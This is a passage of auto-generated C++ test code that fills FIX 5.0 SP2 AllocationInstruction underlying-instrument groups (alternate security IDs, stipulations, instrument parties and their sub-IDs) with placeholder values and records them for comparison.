all_compo_names.insert(\"...NoUnderlyings.\");\n\n    // UndSecAltIDGrp\n    // Group UndSecAltIDGrp.NoUnderlyingSecurityAltID\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_0;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_4;\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltID{\"STRING_801466276\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_4);\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltIDSource{\"STRING_1631361145\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_4);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_4);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_1;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_5;\n      set_field(noUnderlyingSecurityAltID_0_1_1, FIX::UnderlyingSecurityAltID{\"STRING_1978870071\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_5);\n      set_field(noUnderlyingSecurityAltID_0_1_1, FIX::UnderlyingSecurityAltIDSource{\"STRING_394386376\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_5);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_5);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_2;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_6;\n      set_field(noUnderlyingSecurityAltID_0_1_2, FIX::UnderlyingSecurityAltID{\"STRING_410435208\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_6);\n      set_field(noUnderlyingSecurityAltID_0_1_2, FIX::UnderlyingSecurityAltIDSource{\"STRING_1866176556\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_6);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_6);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_2);\n    }\n    // UnderlyingStipulations\n    // Group UnderlyingStipulations.NoUnderlyingStips\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_0;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_3;\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipType{\"STRING_87675837\"}, UnderlyingStipulations_NoUnderlyingStips_3);\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipValue{\"STRING_825059753\"}, UnderlyingStipulations_NoUnderlyingStips_3);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_3);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_0);\n    }\n    // UndlyInstrumentParties\n    // Group UndlyInstrumentParties.NoUndlyInstrumentParties\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_0;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_6;\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyID{\"STRING_281872999\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_6);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_6);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyRole{1078107733}, UndlyInstrumentParties_NoUndlyInstrumentParties_6);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_6);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_12;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1928041747\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_12);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubIDType{591572080}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_12);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_12);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_13;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_295124241\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_13);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubIDType{1687010860}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_13);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_13);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_1);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_0);\n    }\n    msg.addGroup(noUnderlyings_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoUnderlyings noUnderlyings_0_1;\n    // UndInstrmtGrp.NoUnderlyings\n    // UnderlyingInstrument\n    multiset<string> UnderlyingInstrument_3;\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingIssuer{\"DATA_1175662496\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingIssuerLen{11304902}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingSecurityDesc{\"DATA_172705606\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingSecurityDescLen{1043067203}, UnderlyingInstrument_3);\n    FIX::UnderlyingAdjustedQuantity UnderlyingAdjustedQuantity_3;\n    UnderlyingAdjustedQuantity_3.setString(\"6919885\");\nset_field(noUnderlyings_0_1, UnderlyingAdjustedQuantity_3, UnderlyingInstrument_3);\n    FIX::UnderlyingAllocationPercent UnderlyingAllocationPercent_3;\n    UnderlyingAllocationPercent_3.setString(\"98.250000\");\nset_field(noUnderlyings_0_1, UnderlyingAllocationPercent_3, UnderlyingInstrument_3);\n    FIX::UnderlyingAttachmentPoint UnderlyingAttachmentPoint_3;\n    UnderlyingAttachmentPoint_3.setString(\"31.830000\");\nset_field(noUnderlyings_0_1, UnderlyingAttachmentPoint_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCFICode{\"STRING_219373693\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCPProgram{\"STRING_1382202361\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCPRegType{\"STRING_744241310\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingCapValue UnderlyingCapValue_3;\n    UnderlyingCapValue_3.setString(\"2976605\");\nset_field(noUnderlyings_0_1, UnderlyingCapValue_3, UnderlyingInstrument_3);\n    FIX::UnderlyingCashAmount UnderlyingCashAmount_3;\n    UnderlyingCashAmount_3.setString(\"19121960\");\nset_field(noUnderlyings_0_1, UnderlyingCashAmount_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCashType{\"STRING_DIFF\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingContractMultiplier UnderlyingContractMultiplier_3;\n    UnderlyingContractMultiplier_3.setString(\"10991268\");\nset_field(noUnderlyings_0_1, UnderlyingContractMultiplier_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingContractMultiplierUnit{1396073530}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCountryOfIssue{\"COUNTRY_1496292129\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCouponPaymentDate{\"LOCALMKTDATE_1493513226\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingCouponRate UnderlyingCouponRate_3;\n    UnderlyingCouponRate_3.setString(\"87.380000\");\nset_field(noUnderlyings_0_1, UnderlyingCouponRate_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCreditRating{\"STRING_1214985037\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCurrency{\"GBP\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingCurrentValue UnderlyingCurrentValue_3;\n    UnderlyingCurrentValue_3.setString(\"20400447\");\nset_field(noUnderlyings_0_1, UnderlyingCurrentValue_3, UnderlyingInstrument_3);\n    FIX::UnderlyingDetachmentPoint UnderlyingDetachmentPoint_3;\n    UnderlyingDetachmentPoint_3.setString(\"16.190000\");\nset_field(noUnderlyings_0_1, UnderlyingDetachmentPoint_3, UnderlyingInstrument_3);\n    FIX::UnderlyingDirtyPrice UnderlyingDirtyPrice_3;\n    UnderlyingDirtyPrice_3.setString(\"285739\");\nset_field(noUnderlyings_0_1, UnderlyingDirtyPrice_3, UnderlyingInstrument_3);\n    FIX::UnderlyingEndPrice UnderlyingEndPrice_3;\n    UnderlyingEndPrice_3.setString(\"17413552\");\nset_field(noUnderlyings_0_1, UnderlyingEndPrice_3, UnderlyingInstrument_3);\n    FIX::UnderlyingEndValue UnderlyingEndValue_3;\n    UnderlyingEndValue_3.setString(\"17728193\");\nset_field(noUnderlyings_0_1, UnderlyingEndValue_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingExerciseStyle{1801214792}, UnderlyingInstrument_3);\n    FIX::UnderlyingFXRate UnderlyingFXRate_3;\n    UnderlyingFXRate_3.setString(\"15219133\");\nset_field(noUnderlyings_0_1, UnderlyingFXRate_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingFXRateCalc{'D'}, UnderlyingInstrument_3);\n    FIX::UnderlyingFactor UnderlyingFactor_3;\n    UnderlyingFactor_3.setString(\"20963390\");\nset_field(noUnderlyings_0_1, UnderlyingFactor_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingFlowScheduleType{1061440519}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingInstrRegistry{\"STRING_1392570280\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingIssueDate{\"LOCALMKTDATE_2107643935\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingIssuer{\"STRING_1234146125\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingLocaleOfIssue{\"STRING_288153835\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingMaturityDate{\"LOCALMKTDATE_652148838\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingMaturityMonthYear{\"MONTHYEAR_1121432303\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingMaturityTime{\"TZTIMEONLY_537397019\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingNotionalPercentageOutstanding UnderlyingNotionalPercentageOutstanding_3;\n    UnderlyingNotionalPercentageOutstanding_3.setString(\"25.320000\");\nset_field(noUnderlyings_0_1, UnderlyingNotionalPercentageOutstanding_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingOptAttribute{'3'}, UnderlyingInstrument_3);\n    FIX::UnderlyingOriginalNotionalPercentageOutstanding UnderlyingOriginalNotionalPercentageOutstanding_3;\n    UnderlyingOriginalNotionalPercentageOutstanding_3.setString(\"83.290000\");\nset_field(noUnderlyings_0_1, UnderlyingOriginalNotionalPercentageOutstanding_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingPriceUnitOfMeasure{\"STRING_1169183105\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingPriceUnitOfMeasureQty UnderlyingPriceUnitOfMeasureQty_3;\n    UnderlyingPriceUnitOfMeasureQty_3.setString(\"1208634\");\nset_field(noUnderlyings_0_1, UnderlyingPriceUnitOfMeasureQty_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingProduct{799060387}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingPutOrCall{120826307}, UnderlyingInstrument_3);\n    FIX::UnderlyingPx UnderlyingPx_3;\n    UnderlyingPx_3.setString(\"15169369\");\nset_field(noUnderlyings_0_1, UnderlyingPx_3, UnderlyingInstrument_3);\n    FIX::UnderlyingQty UnderlyingQty_3;\n    UnderlyingQty_3.setString(\"1478688\");\nset_field(noUnderlyings_0_1, UnderlyingQty_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRedemptionDate{\"LOCALMKTDATE_1614339534\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRepoCollateralSecurityType{\"STRING_1175962022\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingRepurchaseRate UnderlyingRepurchaseRate_3;\n    UnderlyingRepurchaseRate_3.setString(\"39.050000\");\nset_field(noUnderlyings_0_1, UnderlyingRepurchaseRate_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRepurchaseTerm{1606659425}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingRestructuringType{\"STRING_922662950\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityDesc{\"STRING_1255415048\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityExchange{\"EXCHANGE_153887396\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityID{\"STRING_951236877\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityIDSource{\"STRING_849286607\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecuritySubType{\"STRING_1926706748\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSecurityType{\"STRING_604968022\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSeniority{\"STRING_223716266\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSettlMethod{\"STRING_2143614532\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSettlementType{4}, UnderlyingInstrument_3);\n    FIX::UnderlyingStartValue UnderlyingStartValue_3;\n    UnderlyingStartValue_3.setString(\"12851567\");\nset_field(noUnderlyings_0_1, UnderlyingStartValue_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingStateOrProvinceOfIssue{\"STRING_1388701165\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingStrikeCurrency{\"EUR\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingStrikePrice UnderlyingStrikePrice_3;\n    UnderlyingStrikePrice_3.setString(\"16768550\");\nset_field(noUnderlyings_0_1, UnderlyingStrikePrice_3, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSymbol{\"STRING_1166132533\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingSymbolSfx{\"STRING_1493251566\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingTimeUnit{\"STRING_66768371\"}, UnderlyingInstrument_3);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingUnitOfMeasure{\"STRING_2037655065\"}, UnderlyingInstrument_3);\n    FIX::UnderlyingUnitOfMeasureQty UnderlyingUnitOfMeasureQty_3;\n    UnderlyingUnitOfMeasureQty_3.setString(\"18494025\");\nset_field(noUnderlyings_0_1, UnderlyingUnitOfMeasureQty_3, UnderlyingInstrument_3);\n    all_values.push_back(UnderlyingInstrument_3);\n    all_compo_names.insert(\"...NoUnderlyings.\");\n\n    // UndSecAltIDGrp\n    // Group UndSecAltIDGrp.NoUnderlyingSecurityAltID\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_1_1_0;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_7;\n      set_field(noUnderlyingSecurityAltID_1_1_0, FIX::UnderlyingSecurityAltID{\"STRING_1059354523\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_7);\n      set_field(noUnderlyingSecurityAltID_1_1_0, FIX::UnderlyingSecurityAltIDSource{\"STRING_1970265983\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_7);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_7);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingSecurityAltID_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_1_1_1;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_8;\n      set_field(noUnderlyingSecurityAltID_1_1_1, FIX::UnderlyingSecurityAltID{\"STRING_2147467088\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_8);\n      set_field(noUnderlyingSecurityAltID_1_1_1, FIX::UnderlyingSecurityAltIDSource{\"STRING_1180180830\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_8);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_8);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingSecurityAltID_1_1_1);\n    }\n    // UnderlyingStipulations\n    // Group UnderlyingStipulations.NoUnderlyingStips\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_1_1_0;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_4;\n      set_field(noUnderlyingStips_1_1_0, FIX::UnderlyingStipType{\"STRING_147852308\"}, UnderlyingStipulations_NoUnderlyingStips_4);\n      set_field(noUnderlyingStips_1_1_0, FIX::UnderlyingStipValue{\"STRING_647036716\"}, UnderlyingStipulations_NoUnderlyingStips_4);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_4);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingStips_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_1_1_1;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_5;\n      set_field(noUnderlyingStips_1_1_1, FIX::UnderlyingStipType{\"STRING_368197640\"}, UnderlyingStipulations_NoUnderlyingStips_5);\n      set_field(noUnderlyingStips_1_1_1, FIX::UnderlyingStipValue{\"STRING_1510706213\"}, UnderlyingStipulations_NoUnderlyingStips_5);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_5);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingStips_1_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_1_1_2;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_6;\n      set_field(noUnderlyingStips_1_1_2, FIX::UnderlyingStipType{\"STRING_106212493\"}, UnderlyingStipulations_NoUnderlyingStips_6);\n      set_field(noUnderlyingStips_1_1_2, FIX::UnderlyingStipValue{\"STRING_1290860590\"}, UnderlyingStipulations_NoUnderlyingStips_6);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_6);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_1.addGroup(noUnderlyingStips_1_1_2);\n    }\n    // UndlyInstrumentParties\n    // Group UndlyInstrumentParties.NoUndlyInstrumentParties\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_1_1_0;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_7;\n      set_field(noUndlyInstrumentParties_1_1_0, FIX::UnderlyingInstrumentPartyID{\"STRING_260099889\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_7);\n      set_field(noUndlyInstrumentParties_1_1_0, FIX::UnderlyingInstrumentPartyIDSource{'9'}, UndlyInstrumentParties_NoUndlyInstrumentParties_7);\n      set_field(noUndlyInstrumentParties_1_1_0, FIX::UnderlyingInstrumentPartyRole{1467924221}, UndlyInstrumentParties_NoUndlyInstrumentParties_7);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_7);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_0_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_14;\n        set_field(noUndlyInstrumentPartySubIDs_1_0_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_699581842\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_14);\n        set_field(noUndlyInstrumentPartySubIDs_1_0_2_0, FIX::UnderlyingInstrumentPartySubIDType{1691640487}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_14);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_14);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_0.addGroup(noUndlyInstrumentPartySubIDs_1_0_2_0);\n      }\n      noUnderlyings_0_1.addGroup(noUndlyInstrumentParties_1_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_1_1_1;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_8;\n      set_field(noUndlyInstrumentParties_1_1_1, FIX::UnderlyingInstrumentPartyID{\"STRING_35453874\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_8);\n      set_field(noUndlyInstrumentParties_1_1_1, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_8);\n      set_field(noUndlyInstrumentParties_1_1_1, FIX::UnderlyingInstrumentPartyRole{829313625}, UndlyInstrumentParties_NoUndlyInstrumentParties_8);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_8);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_1_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_15;\n        set_field(noUndlyInstrumentPartySubIDs_1_1_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1767388944\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_15);\n        set_field(noUndlyInstrumentPartySubIDs_1_1_2_0, FIX::UnderlyingInstrumentPartySubIDType{1201132888}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_15);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_15);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_1.addGroup(noUndlyInstrumentPartySubIDs_1_1_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_1_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_16;\n        set_field(noUndlyInstrumentPartySubIDs_1_1_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_953526391\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_16);\n        set_field(noUndlyInstrumentPartySubIDs_1_1_2_1, FIX::UnderlyingInstrumentPartySubIDType{786037830}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_16);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_16);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_1.addGroup(noUndlyInstrumentPartySubIDs_1_1_2_1);\n      }\n      noUnderlyings_0_1.addGroup(noUndlyInstrumentParties_1_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_1_1_2;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_9;\n      set_field(noUndlyInstrumentParties_1_1_2, FIX::UnderlyingInstrumentPartyID{\"STRING_546900806\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_9);\n      set_field(noUndlyInstrumentParties_1_1_2, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_9);\n      set_field(noUndlyInstrumentParties_1_1_2, FIX::UnderlyingInstrumentPartyRole{676209247}, UndlyInstrumentParties_NoUndlyInstrumentParties_9);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_9);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_2_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_17;\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_221217816\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_17);\n        